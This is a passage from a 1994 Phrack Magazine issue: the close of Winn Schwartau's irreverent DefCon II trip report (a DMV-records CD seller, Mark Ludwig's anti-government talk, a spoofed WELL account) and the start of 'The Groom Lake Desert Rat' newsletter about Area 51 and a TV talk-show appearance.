ness, shit."
"You, too? Same shit been going on all night long. What the
fuck?"
Wow. And it seems like only this morning that my toilet explod
ed.
* * * * *
So what's a perfectly groomed and slightly rotund 50-something
convicted methamphetamine dealer doing at DefCon II with hundreds
of impressionable teenagers? You might well ask.
So I'll tell you.
Sitting in yet another Saharan hell-hole of a room they unabash
edly market for $55 per night I encountered hackers #1 through #4
and this . . . I immediately thought, elderly gent. He said
nothing and neither did I, thinking that he might have been an
over aged chaperone for delinquent teens or perhaps even an
understanding Fed. But the gallon jugs of whiskey was depleting
itself right before my eyes, as if a straw from Heaven sucked the
manna from its innards. Actually, it was Bootleg.
Not bootleg liquor, mind you, but Bootleg the felonious con from
Oregon. Apparently he got busted 'cause speed is and was against
the law, and crank is not exactly the drug choice of maiden aunts
nor school marms. "I've been a hacker longer than some of these
kids have been alive. It all started back in . . ." and Mike
"Bootleg" Beketic commenced on the first of hundreds of war-story
jail house tales to entertain him and us. Bootleg loves a good
story.
"Jail ain't so bad," he bragged with a huge whiskey smile. "No
one fucked with me. You gotta make friends early on. Then it's
OK." Good advice, I guess. "On parole I got slammed with a year
for piss that didn't pass." Gotta be clean, my man. Stay away
from that shit. It'll kill you and your teeth will rot.
Bootleg handed me form PROB-37, (Rev. 1/94) from the United
States District Court, Federal Probation System. Grins from ear
to ear. A badge of honor for villains, thieves, and scoundrels.
Sounds like they need their own union.
This was the official "Permission To Travel" form dated June 16,
1994 which gave Bootleg the legal right to travel from Oregon to
Las Vegas in the dead of the summer to attend a "computer conven
tion." The flight times were specific as were the conditions of
his freedom. He had to inform the local cops that he was in
town. In case any crimes occurred throughout the city of Las
Vegas during his sojourn, he was an easily identifiable suspect.
While he downed another Jack and coke I found out what Bootleg
was really doing. Despite the fact that the "Federal Keep Track
of a Crook Travel Form" said, "you are prohibited from advertis
ing or selling your DMV CD," the paranoia that runs rampant
through the minds of prison bureaucracy was actually in this case
quite correctly concerned.
"What's a DMV CD?"
"I'm glad you asked." I was set up. The edict said he couldn't
sell or advertise, but there was no provision stating that he
couldn't answer questions from an inquiring mind.
Bootleg handed me a CD ROM:
Bootleg Presents:
DMV
- Over 2 Million Oregon Drivers License Records
- Over 3 Million Oregon License Plate Records
The inside jacket clearly stated that this information was not to
be used by any creatively nefarious types for any sort of person
al Information Warfare tactics. It warns,
Do not use this CD to:
- Make phony Licenses
- Make phony Titles
- Obtain phony I.D.
- Harass Politicians, Cops or Journalists
- Stalk Celebrities
- Get ME in trouble <G>
I can come up with at least 1001 other uses for this collection
of information that the Oregon authorities are none too happy
about. The ones Bootleg outlined never came into my mind.
(Heh!) Bootleg acquired the information legally. State officials
were kind enough to violate the electronic souls of its citizens
by sending Bootleg their driver's information magnetically embla
zoned on a 3600 foot long piece of 9 track acetate. Now they
want to change the law to reflect "heart felt concern for the
privacy of their citizens." Get a clue, or if none's available,
buy one from Vanna.
Bootleg is moving onto the next 47 states (California and New
York don't permit this kind of shenanigans) shortly to make sure
that everyone has equal access. Hacking? Of course. Bootleg
effectively hacked the Oregon DMV with their blessing and tax
payer paid-for assistance.
Time to go back to my room while Bootleg and friends spent an
evening of apparently unsuccessful whoring around the Strip and
Glitter Gulch.
A good time was had by all.
* * * * *
Jeff Moss opened the Sunday morning session with an ominous
sermon.
"You'll notice that the wet bar is missing from the rear?" It
had been there yesterday. Everyone turns around to look. "I
gotta pay for the damage . . . " Jeff was not a happy camper.
"They have my credit card number and it's almost full. So cool
it!" But the show must go on and we had more to learn.
Next. Anonymous mailers on the net? Forget about it. No such
thing. Anonymous remailers, even if they are in Norway or Finland
or some such other country where American information contraband
such as child pornography is legal, are only as safe and secure
as the people who run it
"The FBI can go over any time they want and look up who you are
and what kinds of stuff you swallow down your digital throat,"
one speaker announced. Of course that's ridiculous. The FBI
would have to call in the Boy Scouts or Russian Mafia for that
kind of operation, but we all knew that anyway. A slight slip of
the ad lib tongue. No harm done.
I didn't know, until this Sunday, that there were actually real
live versions of "Pump Up The Volume" running rampant across the
country, impinging their commercial-free low power radio broad
casts into an electromagnetic spectrum owned and operated by the
Federal Communications Commission. And, as to be expected, the
FCC is trying to put these relatively harmless stations out of
business along with Howard Stern and Don Imus. One would think
that WABC or KLAC or any other major market stations would little
care if a podunk 20 watt radio station was squeezing in between
assigned frequencies. And they probably shouldn't. But, as we
learned, the Military lent an innocent hand.
In support of the hobbies of servicemen, a local San Francisco
base commander gave approval for a group of soldiers to establish
a small, low power radio station for the base. Good for morale,
keep the men out of the bars: you know the bit.
But the ballistic missiles went off when the nation's premier
rating service, Arbitron, listed KFREE as a top local station in
the San Francisco market.
"What station KFREE?" "Who the hell are they?" "What the fuck?"
Needless to say, KFREE was costing the legitimate radio stations
money because advertising rates are based upon the number of
listeners not up and peeing during commercials. Since KFREE was
ad-free, no contest. Arbitron assumes the rating to relect the
existence of a real station - the numbers are there - and the
local stations call the FCC and the FCC calls the base and as
quick as you can scream, "Feds suck!" KFREE is off the air.
Stomp.
I was scheduled to speak today, but with the schedule seemingly
slipping forward and backward at random haphazard intervals,
there was no telling when what would occur. Mark Ludwig, of
Virus Writing Contest fame and author of the much touted "Little
Black Book of Computer Viruses" Virus gave a less then impas
sioned speech about the evils of government.
"I know most of you don't have any assets other than your comput
er," Ludwig said to the poverty stricken masses of DefCon II.
"But you will, and you want to make sure the government doesn't
come crashing down around you whenever they want. They can and
will take your life away if it suits them. There is no fourth
amendment. Most search and seizures are illegal." And so it
went.
"Put your money off shore, kids," said Dr. Ludwig the theoretical
physicist. "Find a good friendly country with flexible banking
laws and the Feds can't get you."
"And when the Feds do come for you, make sure that your entire
life is on your computer. Rip up the papers after you scan them
in. Your all-electronic life cannot be penetrated - especially
if you get a case of the forgets. 'Oops, I forgot my password.
Oops! I forgot my encryption key. Oops! I forgot my name.'"
"Even your VISA and Mastercard accounts should be from overseas.
Keep it out of the US and you'll be all the better for it." For
those interested in such alternative, Ludwig recommends that you
call Mark Nestman: of LPP Ltd. at 800-528-0559 or 702-885-2509.
Tell him you want to move your millions of rubbles and dollars
and Cyber-credits overseas for safe keeping because the Byzantine
Police are at the front door as you speak. Order pamphlet 103.
These are the defensive measures we can take protect ourselves
against the emerging Police State. But offensive action is also
called for, he says. "Help Phil Zimmerman. Send him money for
his defense. Then, laugh at the Feds!" Haha, haha. Haha.
Hahahahahaha. Ha!
."When they come to the door, just laugh at them." Haha. Haha
ha. Haha. "No matter what they do, laugh at them." Hahahahaha.
Enough of that, please. If I laugh at 6 husky beer-bellied
Cyber-cops who have an arsenal of handguns pointed at my head,
they might as well send me to the Group W bench to commiserate
with Arlo Guthrie. Peeing would come before laughing. But then
again, I'm no longer a grunged out 20 year old who can laugh in
the face of the Grim Reaper. "Yes, ossifer, sir. I'm a cyber-
crook. I ain't laughing at you in your face, ossifer, sir . . ."
I panic easily. Kissing ass well comes from a life long success
of quid pro quo'ing my way from situation to situation.
"And, now," Master Mark announced, "on to the results and awards
for the Annual Virus Writing contest." Ludwig seemed suddenly
depressed. "Unfortunately, we only got one legitimate entry."
One entry? The media plastered his contest across the media-
waves and the National Computer Security Association was planning
a tactical nuclear response. One entry? What kind of subver
sives have 20 year olds turned into anyway? In my day (Yeah, I'm
old enough to use that phrase) if we called for a political
demonstration thousands would pile through the subway turnstiles
to meet a phalanx of well armed police appropriately attired in
riot gear. One entry? Come on X-Generation, you can do better
than that? No wonder the world's going to shit. Don't have
enough trouble from the young-uns. Sheeeeeeesssh!
Mark Ludwig's politically incorrect virus writing contest may
have been a PR success but it was a business abortion. One
entry. Shit. At the NCSA meeting in Washington, rivaling fac
tions battled over how we as an association should respond.
"Hang the bastard." "He's what's wrong with world." "Put him in
a county jail with Billy-Bob, Jimmy-Ray and Bubba for a week and
they'll be able to squeeze him out between the bars."
C'mon you fools! Ignore him! Ignore him! If you don't like what
he has to say don't egg him on. Ignore him. You want to do what
the Feds did to poor Phil Zimmerman and make him a folk hero?
Turning a non-event into the lead for the evening news is not the
way to make something go away. I loudly advocated that he be
treated as a non-entity if the goal was reduction to obscurity.
I was right.
Super-high priced PR and lobby firms had prepared presentation to
wage an all-out attack on Ludwig and his contest. I bet! And who
was going to pay for this? Peter Tippitt of Semantech ponied up
what I believe amounted to $7,000 to get the pot going. No one
else made a firm offer. Can't blame them cause it would have been
no more effective than taking out an ad in Time proclaiming that
evil is bad. The PR firm would have made their fees, the event
would have made even more news and Ludwig would certainly have
had to make a judgement and choose from more than one entry.
But oddly enough, the one entry did not win.
The winner of the Annual Virus Writing Contest was no less than
Bob Bales, Executive Director of the NCSA. Not that Bob wrote a
program, but if he had, Ludwig said, it would be called either
Don Quixote or Paranoia, and it would be of the human brain at-
tacking Meme type. The virus is a software equivalent of Prozac
to alleviate the suffering in middle-aged males who have no
purpose in life other than virus busting.
"Is Winn Schwartau here?" Mark asked the audience.
I was there. "Yo!"
"Would you tell Bob that he's won a plaque, and a $100 check and
a full year subscription to the Computer Virus Developments
Quarterly." I'm the technology advisor to the NCSA so it was
a natural request to which I was pleased to oblige.
I told Bob about his 15 minutes of fame at DefCon to which he
roared in laughter. "Good! Then I won't have to subscribe my
self."
I spoke next. Jeff introduced me by saying, "Winn says he
doesn't want to speak to an empty room so he's gonna talk now."
Some introduction. But, what a great audience! Better than most
of the security above-ground starched sphincter tight suit and
tie conference audiences I normally get. But then again, I get
paid handsomely to address legitimate audiences where I have to
be politically correct. At DefCon, insulting people was the last
thing I worried about. It was what I focused on, onstage and
off.
"Hey, kid. Did you ever land Zimmerman in bed?"
"You, you, er . . ."
"C'mon kid. Give me your best shot."
"Your mother . . ." A crowd gathered to see what kind of repar
tee this little schnook could come up with. "Your mother .. ."
C'mon kid. You got it in you. C'mon. "You, she is a . . .
uh, . . . mother . . ." and he finally skulked away in sheer
embarrassment. Poor kid. When he went to the men's room, men
walked out. Poor kid. I don't think he ever figured out it was
all a put on.
The audience got it, though. Rather than go over what I rambled
about for an hour, here comes a blatant plug: Go buy my new book
"Information Warfare: Chaos on the Electronic Superhighway."
That'll sum it up real nice and neat. But what a great audience.
Thanks.
Little did I know, though, that I was also on trial.
John Markoff of the New York Times was the first to ask, and then
a couple of buddies asked and then a lady asked during the Q&A
portion of my ad hoc ad lib speech. "How come you did it?" Did
what? "How come you flamed Lenny DeCicco?"
It turns out that someone adapted my electronic identity and
logged on to the WELL in Sausalito, CA and proceeded to post a
deep flame against Lenny. Among other none-too-subtle asper
sions, 'my' posting accused Lenny of a whole string of crimes of
Information Warfare and even out and out theft.
Except, it wasn't me. I answered the lady's question with, "It
wasn't me, I don't know Lenny and I don't have an account on the
WELL." That satisfied everyone except for me. What happened
and why? It seems that Lenny's former partner in crime Most-
Wanted on the lam federal fugitive computer hacker Kevin Mitnick
actually wrote and signed the letter with his initials. Or
someone was spoofing him and me at the same time. But why? And
why me?
It took a couple of days after arriving home from DefCon to learn
after extensive conversations with the WELL that my erased ac
count from almost two years ago and then re-erased on June 20 of
this year was accidentally turned back on by some mysterious
administrative process that I cannot claim to fathom. OK, that's
what they said.
But perhaps most interesting of the entire Getting Spoofed inci
dent was a single comment that Pei Chen, sysop of the WELL said
to me while I complained about how such an awful anti-social
attack was clearly reprehensible. Oh, it's simple, she said.
"We have no security." Whooaaaahhh! The WELL? No security? I
love it. I absolutely love it. Major service provider, no
security. Go get 'em cowboy.
The only other speaker I wanted to see was Peter Beruk, chief
litigator for the Software Publisher's Association. This is the
Big Software Company sponsored organization which attempts to
privately interdict illegal software distribution as a prelude
for both civil and criminal prosecutions. And with this group of
digital anarchists, no less.
The SPA scrounges around 1600 private BBS's to see who's making
illicit copies of Microsoft Word or Quattro For Weanies or
Bulgarian for Bimbos or other legitimate software that the pub
lishers would rather receive their due income from then being
stolen.
"Which boards are you on?"
"That would be telling." Big grin and laughs.
"Is your BBS secure?" A challenge in the making.
"Sure is."
"Is that an offer to see if we can break in?" Challenge made.
"Ahem, cough, cough." Challenge denied.
"What name do you use on the boards?" Idiot question that de
serves an idiot answer.
"Fred." Laughs.
"You mean you have a full time guy to download software from
boards to see if it's legal or not?" "Yup."
"So, you pay people to commit felonies?" Astutely stupid ques
tion.
"We have permission."
"Why should we have to pay rip-off corporations too much money to
use really shitty software?"
"So don't buy it."
"We don't. It's so shitty that it's barely worth stealing."
"So don't steal it."
"Just want to check it out, dude."
"Scum sucking imperialists are making all of the money. The
software designers are getting ripped off by the big software
bureaucracies. Power to the people." Every generation goes
through this naively innocent berating of capitalism. It doesn't
make them Communists (in 1950 it did), just not full fledged
capitalist pigs themselves yet. Soon come. Vis a vis Ludwig's
comment on the asset-deprived audience. Soon come, man.
"We go after BBS's that store illegal software."
"So you're gonna put Compuserve in jail?" Big, big applause.
Despite the openly verbal animosity between the free-ware believ
ers and the Chief Software Cop, the spirited and entertaining
disagreements maintained a healthy good natured tone that well
exceed Peter's time limit, as DefCon II was coming to a close.
It was time for one more stand up comedy attempt by a short haired
bandanna wearing hippie/hacker/phreak who was not quite up to the
job.
"OK, guys. We've had some fun at the Feds expense. They're
people, too. So, from now on, it's Hug a Fed. Go on, find a fed
and go up to him or her and big them a great big bear hug full of
love." The Feds that had been busted were gone. The ones still
successfully undercover weren't about to blow it for a quick feel
from a horny teenager.
Next. The Cliff Stoll doll with an assortment of accessory yo-
yos was a popular item. It was thrown pell-mell into the crowds
who leapt at it with a vengeance like a baseball bleachers sec
tion awaiting the 61st home run.
"There used to be a Wife of Cliff Stoll doll, but no one's seen
it in two years." Cliff is strange. I don't know if he's that
strange, but it was a funny bit.
"Then we have the LoD/MoD action figure set starring Erik Bloo
daxe and Phiber Optik." GI Joe action set gone underground.
Corny, but appreciated as hundreds of bodies dove to catch the
plastic relics tossed from the stage.
If anything, an anti-climatic end to an otherwise highly informa
tive and educational conference. I can hardly wait till next
year when, after word gets out, DefCon III will be attended by
thousands of hackers and cops and narks who will try to replay
the Summer of Cyber-Love '94 for a sequel.
* * * * *
More than anything I wanted to get away from the Sahara. Away
from its nauseatingly chromatic carpets, it's hundreds of sur
veillance cameras, and most of all, away from its exploding
toilets.
We decided to play, and play we did at the new Luxor Hotel which
is an amazing pyramid with 4000+ rooms. There are no elevators as
in a pyramid 'going up' is kind of useless, so Inclinators take
passengers up the 30 some odd floors to hallways which ring
around the impossibly huge hollowed out pyramid shaped atrium.
This was play land. And for three hours we played and played and
went to dumb shows that attract mid-western mamas from Noodnick,
Kentucky, alighting in Vegas for their annual RV pilgrimage. But
we went and enjoyed none the less.
The "Live TV" show was anything but live except for lovely Susan
who hosted us into the ersatz TV station. Her job is to look
pretty, sound pretty and warm up the crowd for an over budget,
overproduced schmaltz driven video projection that was to make us
all feel like we were on stage with Dave. Letterman, that is.
The effect does not work. But we enjoyed ourselves, anyway.
"Everyone here on vacation?"
"No!" I yelled out. Poor Susan was stunned. No? Why else would
you be here?
"What are you doing?" The TV audience of 500 was looking our
way. Between the five of us we had a million dollars (give or
take) of electronic wizardry stuffed around us, beneath us and in
our laps.
"Working." Gee, I'm quick.
"What do you do?" Susan asked with a straight face. I bet she
expected something like gas pumper, or nocturnal mortuary forni
cator or 7/11 clerk.
"We're hacking for Jesus. This is Cyber Christ!" I said pointing
at Erik Bloodaxe.
Silence. Dead silence again. Sleep with Phil Zimmerman silence.
Except for us. We giggled like school boys. Psyche.
"Ah, . . . that's nice." That was all she could come up with:
That's nice. So much for ad libbing or deviating from the
script. But the TV audience enjoyed it. A whole lot. They
finally figured out it was put on. Not every one from the Mid-
West is as stupid as they all pretend to be.
Then it was time to get sick. VR rides do me in, but not to be
publicly humiliated by my 20-something cohorts (and Mike Peros
with whom I had to travel yet another 2000 miles that night) I
jumped right into an F-14 simulator which rotated 360 degrees on
two gimbals for an infinite variety of nauseousness.
"Oh, shit!" I yelled as I propelled myself forward and around and
sideways with sufficient g-force to disgorge even the most delec
table meal. "Oh, shit." I had reversed the throttle and was now
spinning end over end backwards. My inner ear was getting my
stomach sick. "Oh, shit." Out of the corner of my eyes my four
pals were doubled over in laughter. Had I barfed yet and not
known it? God, I hope not. "Oh, shit." I came to a dead stand
still, the video screen showed me plummeting to earth at escape
velocity and I pushed the throttle forward as roughly as I could.
An innate survival instinct came in to play. "Oh, shit!" The
virtual aircraft carrier came into sight and after almost 2
minutes of high speed rotating revulsion, I was expected to land
this spinning F-14 on a thimble in the ocean. Right. I tried,
and damned if I didn't make it. I have no idea how, but I got an
extra 34,000 points for a safe landing. 120 seconds. Ding.
Time's up.
I got out of the simulator and spilled right onto the floor; one
42 year old pile of humanity who had navigated nausea but whose
balance was totally beyond repair. "Could anyone hear me?" I
asked from my knees.
"They were selling tickets."
"Do I get my money back?"
Onto the VR race cars. I really thought I'd throw up to the
amusement of a thousand onlookers. Hacking then phreaking then
flying and now driving. I put the pedal to the metal and
crashed. The huge video display has me tipping end over end and
the screen is shaking and the car I'm driving is shuddering
violently but my brain can't compute it all. I'm gonna wretch, I
just know it. But I keep on driving, decidedly last against
people who haven't been handicapped with an inner ear so sensi
tive I get dizzy when I watch a 5" black and white TV.
We tilted out of there and alas, it was time to find a 200,000
pound of metal to glide me home. It was a damn good thing I hadn't
eaten before VR Land, but I wolfed down $3 hot dogs at the air
port knowing full well that whatever they served on the plane
would be a thousand times worse. So Mike and I munched, leaving
Cyber Christ and friends to battle the press and the stars at the
opening of Planet Hollywood at Caesar's Palace.
And then an unexpected surprise. Lisa and friend; our first class
objects of flirtation from the outbound trip which seemed like a
month ago, appeared. But we were all so wiped out that a conti
nent of innuendo turned into a series of short cat naps. We got
a few flirts in, but nothing to write home about. Red Eye
flights are just not what they're cracked up to be.
As I crawled into bed at something like 7AM Eastern, my wife
awoke enough to ask the perennial wife question. "What did you
do all weekend?" I, in turn, gave her the usual husbandly re
sponse.
"Oh, nothing. Good night, Gracie."
* * * * *
(C) 1994 Winn Schwartau
Winn Schwartau is an information security consultant, lecturer
and, obviously, a writer. Please go buy his new book: "Informa
tion Warfare: Chaos on the Electronic Superhighway." Available at
book stores everywhere. Winn can be reached at: Voice:
813.393.6600 or E-mail: P00506@Psilink.com
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 21 of 28
****************************************************************************
[Several of us had plans to tempt fate and join the other pop-culture
lemmings running off to Area 51 during Defcon. The not-so-secret
base has seen more press this year than Madonna. Armed with
our ICOM 2SRAs and a copy of "The Area 51 Viewer's Guide"
we planned to put our lives on the line purely for the sake of
being able to say "We were there!"
The night before we were planning on going, FOX-TV broadcast
an episode of "Encounters" that focused heavily on Area 51.
The thought of tromping off on our little recon adventure
accompanied by winnebago-loads of families taking the kids
to see "that dang UFO place from the TV," just sorta ruined
the mood.
Hopefully, this won't happen to you. And if you do go,
you really should consider getting the "viewer's guide"
from Glenn Campbell (psychospy@aol.com). Email him for
a catalog of Area 51 stuff.
Glenn also publishes an electronic mag documenting recent activities
surrounding Area 51, and related activities. With his permission,
Phrack is extremely please to bring you the latest issue of
"The Groom Lake Desert Rat."
-----------------------------------------------------------------------------
THE GROOM LAKE DESERT RAT. An On-Line Newsletter.
Issue #15. Sept. 2, 1994.
-----> "The Naked Truth from Open Sources." <-----
AREA 51/NELLIS RANGE/TTR/NTS/S-4?/WEIRD STUFF/DESERT LORE
Written, published, copyrighted and totally disavowed by
psychospy@aol.com. See bottom for subscription/copyright info.
In this issue...
SUBTLETIES OF THE TELEVISION TALK SHOW, PART I
NEW AIR FORCE STATEMENT ON GROOM
EG&G TO ABANDON TEST SITE
JANET "N" NUMBERS
JANET HANDOFF FREQUENCIES
GROOMSTOCK '94
SOUND FAMILIAR?
CAMPBELL ARRAIGNED
LARRY KING NOT CLONED?
MYSTERIOUS SIGN DISAPPEARANCE
INTEL BITTIES
[Note: This file ends with "###".]
----- MEDIA COMMUNICATIONS 103A -----
SUBTLETIES OF THE TELEVISION TALK SHOW, PART I
In DR #10, we reviewed the major news media--print, radio and
television--and showed how each could twist reality in their own
special way. Strictly for the sake of science, Psychospy allowed
himself to be turned into a minor media celebrity so we could
report to our readers the sometimes dubious processes behind the
scenes. There was a limit, however, to how low we would sink in
the pursuit of knowledge. We would not take off our clothes for
the camera, and we would not place ourselves in any situation
where our credibility, reputation or dignity could be seriously
trashed.
Now we can report that this barrier has been broken. In the next
two issues of the Rat we will recount our first-hand experiences
with the lowest form of mass media, the television talk show.
..... THE MEDIUM OF TALK .....
Talk shows come in three basic formats. The rarest but most
respectable is the SERIOUS ISSUES talk show exemplified by "Meet
the Press," "Nightline" and the roundtable discussions on PBS--
maybe even "Larry King Live." They are dignified and serious,
explore meaningful political and societal issues, and hardly
anyone watches them.
The next rung down the ladder--vapid but benign--is the CELEBRITY
CHAT talk show, like the "The Tonight Show," "Late Show with David
Letterman" and "Arsenio Hall." Movie stars and Big Money authors
pump their latest work in a non-confrontational environment
designed only to promote laughs.
The last and lowest form of the genre is the HUMAN CONFLICT talk
show. These syndicated programs always bear the name of the host,
like "Oprah," "Geraldo," "Vicky" or "Leeza." He or she is a
charismatic and camera-loving character, no doubt ruthless in real
life, but blessed with the ability to convey warmth and sincerity
on TV. The fodder for these shows is a steady diet of human
suffering, crises, angst and tragedy. Former spouses and
estranged friends face off against each other; grown men and women
reveal to the parents their until-now-hidden perversities, and
human oddities of all shapes and sizes present themselves for
humiliation before a nationwide audience. The ultimate goal of
these shows is the public expression of private feelings. They
seek tears, anger, jealousy and graphic self-immolation recorded
by the camera on a tight close-up. With a dozen such shows now in
syndication, the competition is intense to seek out new forms of
conflict and expose the latest narcissistic trends.
Talk shows are produced "live on tape" with minimal editing, and
this presents special problems for a guest. In other forms of
television, sound bites rule the show. It may seem artificial,
but tight editing at least assures that each party has their say
and only their finest bon mot will be used. The courteous speaker
with a few good ideas can confidently compete with any
extravagant, microphone-hogging blowhard, because most of what the
blowhard says will be cut. In the almost-live talk show, the more
reasonable speaker has to compete with the blowhard head on.
There is no time for an orderly presentation of evidence; he who
makes the most outrageous, confident and colorful claims,
groundless or not, gains the camera's eye and controls the game.
If you have any shred of personal dignity and are asked to be a
guest on a Human Conflict show, the best response is obvious:
"Just Say No." Unless you are a masochist or a natural born
actor, there is no way you can win in this format. We know it
now; we knew it then, but sometimes, like Oedipus, you just can't
stop the inevitable march of Fate....
..... ONWARD TO HUMILIATION .....
The path to our own downfall was indirect. For several months, a
number of journalists have been making the pilgrimage to Freedom
Ridge, and we generally escort them as a sort of local public
relations representative. We do not charge for this service, and
we do not discriminate between journalists. If TASS or Penthouse
or the Podunk Review came to call, we would treat them no
differently than the New York Times.
In May, we got a call from a producer from the Montel Williams
Show, one of the Human Conflict shows that we had never seen. It
seems that "Montel," as he is known to the world, had promised on
an earlier talk show that he would visit the border of Area 51.
We told the producer that we would be willing to escort Montel and
his crew to Freedom Ridge to tape a segment, but we declined an
offer to come to New York to appear on the studio show. Montel's
visit was originally scheduled for May 5 but was canceled at the
last minute, and we breathed a sign of relief.
In August, the project was reactivated, we suspect as the result
of the June 22 article in the New York Times. Montel's visit was
scheduled for Aug. 16, and we were again asked if we would go to
New York to appear on the later show. Again, we declined.
When Montel came to Rachel, he brought a Humvee, his producers and
a film crew. We went through the usual script for the camera:
Montel drives up to our Research Center, and we meet him in the
driveway. Inside, we show him where we are going on the map, then
we get in the car and drive the rugged road to Freedom Ridge. We
had done it before with countless crews, but never so quickly and
in so few "takes." When Montel arrived, there was no question
that he was in charge. He asked no significant questions, and
showed no particular interest in the secret base itself. We
sensed that he came only because he said he would and that his
primary aim was to film a sound bite on the ridge that said, "You
see, I did what I promised."
As we rode down from Freedom Ridge in the Humvee with Montel and
the producer, we were again asked if we would come to New York to
appear on the talk show the following week, Aug. 23. We hesitated
and were about to turn down the offer cold, when the producer
uttered the only horrible words that could force us to comply.
Sean David Morton.
..... THE EMBODIMENT OF EVIL .....
We first learned of Sean Morton over two years ago, before we came
to Rachel. We had heard his enthusiastic endorsement of the Black
Mailbox on a UFO video:
"Probably the most amazing thing about Area 51 is the fact that
this is literally the only place in the world where you can go out
and actually see flying saucers on a timetable basis. You can
literally go out there on a Wednesday night between about seven
and one a.m. and you'll see these things flying up and down the
valley. It's absolutely amazing. On even a bad night you'll have
ten, eleven, twelve sightings. On a good night--and I've been out
there with friends of mine camping--on a good night the sky will
just rip open with these things. You'll see anywhere between
twenty to forty objects in a night testing over the base for
anywhere from fifteen and forty minutes at a time."
We've lived near the border for over a year and a half now, are
genuinely interested in UFOs and have spent countless days and
nights in the desert; yet we haven't seen even ONE flying saucer,
let alone scores. The logical explanation is that we arrived too
late, after the saucers had been packed up and moved elsewhere.
The trouble with this theory is that during the early part of our
tenure, Sean Morton continued to bring tours to the area--at $99 a
head--and reported UFOs everywhere.
In one celebrated incident in March 1993, Psychospy spent the
night on White Sides, overlooking Groom Lake, with some aviation
watchers and a writer from Popular Science. We were looking for
the alleged Aurora spyplane--almost as ephemeral as flying
saucers--but we saw nothing more than a few satellites, some
distant aircraft strobes and an occasional meteor. The following
was reported in the March 1994 Popular Science....
"Last March, three chilly airplane watchers with binoculars
atop White Sides Mountain at this magic hour [4:45am] were
tracking a 737 airliner approaching Groom Lake, as a fourth member
of their group thawed out in his truck below. Parked on a knoll,
he was next to a vanload of UFO seekers. They were lead by tour
operator Sean Morton, whose leaflet described him as 'the world's
foremost UFO researcher.'
"Morton donned a horned Viking helmet and from time to time
pointed to the sky, exclaiming: 'Look at that one!' The airplane
watcher trained his binoculars in the same direction but saw
nothing out of the ordinary. Later, Morton's group became excited
by what they perceived as an entire formation of UFOs; the
airplane watcher's lenses revealed only stars. Finally, as the
morning's first 737 made its gentle approach toward Groom Lake at
4:45, the UFO enthusiasts rejoiced at Old Faithful's appearance.
Everyone had seen exactly what they hoped for."
In the beginning, when we were new to the area, we were generous
to Sean and called him "fantasy prone." As we got to know him
better and gained confidence in our own knowledge base, we came to
mince no words. Sean is a deliberate con man. He recognizes as
well as us the landing lights of a 737, but he knows that others
can be fooled and taken for a $99 ride to see them. If anyone is
spreading disinformation about Area 51, filling the air with noise
to make the truth harder to grasp, it isn't sinister government
agents; it's Sean David Morton pursuing only his own greed and
self-aggrandizement.
We have worked hard over the past 18 months to undo the damage
Sean has done and displace him from the Area 51 scene.
Discrediting Sean isn't complicated: We simply quote his own
words whenever we can. Sean is a broadly diversified charlatan, a
self-proclaimed expert in faith healing, earthquake prediction,
psychic prophesy and virtually every other New Age fad. We have
no problem at all with him plying his trade within the confines of
the state of California where he justly belongs, but when he
proclaims himself the foremost authority on Area 51, we get
territorial. We hope that our "Area 51 Viewers Guide" has reduced
the gullibility of newcomers and made the environment less
attractive for leeches like him. In fact, we haven't had a
confirmed Morton sighting near the border in over a year. We
heard from sources in California that he no longer gave tours to
Area 51 because the saucers had been moved elsewhere--which was
fine by us.
The saucers must have returned, however. As the recent Groom Lake
publicity reached its peak, "The World's Foremost UFO Researcher"
could not help but resurface to suck energy from it. In recent
months, reports began to reach us that he had appeared as an Area
51 expert at UFO conferences, on radio talk shows and on the
Montel Williams Show.
In the latter appearance, which was first broadcast in December
1993, Sean showed video footage of nighttime "UFOs" that he said
he photographed "at great risk to my own life." As we viewed them
later, one clip showed an isolated circle of light jumping around
within the frame. It could have been any stationary out-of-focus
light shot through a hand-held video camera. Notches seen on the
top and bottom of the "disk" correspond to protrusions inside the
lens assembly. In the other clip, only slightly out of focus, we
saw the lights of a 737 landing on the Groom Lake airstrip. To
Sean, it was "an object actually coming in from space." The time
stamp in the corner said "4:49 am."
It was on this show that Montel promised to visit Area 51 escorted
by Sean; yet when Montel finally made the trip eight months later,
Sean was not invited. The producer told us that word had reached
him from many sources that Sean was considered a fraud, that in
addition to UFOs he also did psychic prophesies and that his
claimed credentials were highly dubious. He and Montel felt that
Sean had taken advantage of them and that by having him on the
show they had inadvertently legitimized him.
But none of that prevented them from inviting him back as a guest
the second studio show.
As we rode down in the Humvee from Freedom Ridge with Montel and
the producer, the reality to us became crystal clear: If we did
not appear on the Montel Williams Show, then Sean would have the
stage all to himself and could continue to spread any sort of
nonsense about Area 51. We felt that we had no choice. Either we
did battle with this guy now, before he grew bigger, or we would
be cleaning up his mess for many months to come.
..... OUR RAPID EDUCATION .....
We had less than a week to prepare for the big show--nowhere near
enough time to do all the research we needed. The first item of
business was to actually watch the Montel Williams Show and
familiarize ourselves with the format. We cranked up our
satellite dish and surfed through the channels. On "Donahue":
"Six Year Olds Who Sexually Harass Other Six Year Olds." On
"Rolanda, a related topic: "Will Your Child Grow Up To Be A
Serial Killer?" On "The Vicky Show," we heard that Sean Morton
had just appeared as an expert on the prophesies of Nostradamus,
but we were unable to catch that one.
The first Montel Williams Show we saw was, "Mistresses Who Want To
End The Affair." On the stage, three women disguised by dark
sunglasses explained why they had been attracted to married men.
We could only tolerate about ten seconds at a time of this show,
but when we tuned back, we found that the women had shed their
sunglasses and revealed their true identities. Presumably, they
had also revealed, or at least seriously compromised, the
identities of the men they had been having the affairs with. When
we tuned in again later, one of the three was having an angry
argument with a fourth female guest. We guessed that this was the
wife of one of the married men.
A friend sent us a tape of Montel's original UFO show in which
Sean appeared as a "UFO Investigator" and Montel promised to
visit. The show included an abductee, a witness to the "Kecksburg
Incident," a former actress, WFUFOR Sean David Morton, a requisite
skeptic, a pro-UFO filmmaker and--as if you hadn't guessed--that
talk show regular Travis Walton. The show was conducted in the
"expanding chairs" format. It started out with two guests alone
on the stage, then more guests and chairs were added during each
commercial break until there were seven chairs and seven
squabbling speakers vying for attention on the platform. In this
format, attention is diluted with each new chair, so the people
who appear last, typically the skeptics, usually get only a few
seconds of airtime. During the free-for-all of a seven-person
debate, the camera always focuses on the most aggressive and
charismatic guest--i.e. Sean David Morton.
The last chair to be filled was occupied by filmmaker Russ Estes,
who the on-screen caption said, "Does Not Believe In UFOs." This
is false. He is a disciplined UFO investigator who has devoted
his career to making films on the subject, as well as exposing
